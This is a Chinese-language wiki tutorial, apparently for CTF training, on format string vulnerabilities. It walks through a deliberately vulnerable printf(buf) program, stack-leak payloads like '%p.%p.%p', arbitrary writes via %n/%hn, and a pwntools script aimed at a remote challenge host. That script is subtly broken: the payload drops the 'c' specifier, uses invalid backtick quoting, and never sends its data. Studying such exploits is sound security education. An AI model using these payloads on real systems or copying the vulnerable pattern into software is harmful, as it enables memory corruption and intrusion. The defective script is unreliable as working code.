Format String Exploit - ianchen0119/About-Security GitHub Wiki
Format String Exploit 是一個強力的漏洞,當程式有此類型的漏洞時,我們可以做到任意地址的讀取與寫入,非常危險。
#include <stdio.h>
int printf(const char *restrict format, ...);
根據 man pages 上面的定義, printf() 函式內的第一個參數就是 Format String ,它用來表示輸出的字串格式。
#include <stdio.h>
int main(){
char buf[0x100];
while( scanf("%s", &buf) != EOF){
printf(buf);
printf("\n");
}
return 0;
}
上面程式碼中的 printf() 沒有特定的 fmt ,讓這個程式有漏洞可以鑽。
- fmt -> rdi, data -> rsi
- x86_64 傳遞參數的暫存器: rdi, rsi, rdx, rcx, r8, r9, ...stack 。
因為程式碼中沒有指定 fmt ,導致 buffer 會被寫入 rdi 中,對 printf() 來說,我們輸入的字串就會被它當成 fmt 。
input: "aaa"
output: "aaa"
input: "%p.%p.%p"
output: "0x0fbdb0858b0.0x1.0x0fbdb0858b0" // rsi, rdx, rcx
input: "%3$p"
output: "0x0fbdb0858b0" // rcx
這時候,我們就可以輸入惡意的字串去 leak 出指定暫存器的位址,根據 x86_64 函式傳遞參數的暫存器來看,我們只要使用 "%6$p" 就可以 Leak 出 Stack 上的資料。
/* Conversion specifier: n
* The number of characters written so far is stored into the
* integer pointed to by the corresponding argument. That
* argument shall be an int *, or variant whose size matches
* the (optionally) supplied integer length modifier. No
* argument is converted. (This specifier is not supported
* by the bionic C library.) The behavior is undefined if
* the conversion specification includes any flags, a field
* width, or a precision.
*/
將已輸出字元當成 Integer 對 rcx 指向的 Address 做寫入,換言之,你想寫多大的數值就在 "%n" 之前輸入多少字元。
#include <stdio.h>
int main(){
int a = 0;
printf("a = %d", a); // 0
printf("123abc%n\n", &a);
printf("a = %d", a); // 6
return 0;
}
#include <stdio.h>
int main(){
int a = 0;
printf("a = %d", a); // 0
printf("%1000c%n\n", 0, &a); // 999 個 0 + 1 個 null byte + 換行符號
printf("a = %d", a); // 1000
return 0;
}
考慮穩定與 I/O 效能問題
-
%n: 寫 4 bytes -
%hn: 寫 2 bytes -
%hhn: 寫 1 bytes
- 如果 fmt 存在 stack 上:
- 將位址放到 payload 上面,再利用
"%n$"去做 reference 。
- 將位址放到 payload 上面,再利用
-
"%n$p": leak 出 libc, PIE, Heap, Stack: Bypass ASLR -
"%n$n": write value
題目: 影片 13:20 處
- 目標: 將
a寫成0xfaceb00c。 - 先寫
b00c (45068),再寫face (19138) - 透過 elf 可得知
a的值。
from pwn import *
host, port = '60.251.236.18', 10129
y = remote(host, port)
a = 0x6012ac
p = '%45068%22$hn%19138%23$hn'.ljust(0x30, `\x00`) + p64(a) + p64(a + 2)
y.interactive()
- 第 16 個 8 Bytes 是 fmt ,我們固定保留 6 個 8 Bytes 給它 (
ljust(0x30, `\x00`)) 。 - 為了避免 I/O 爆掉,一次寫兩個 Byte 到 a 當中。
影片 43:00 。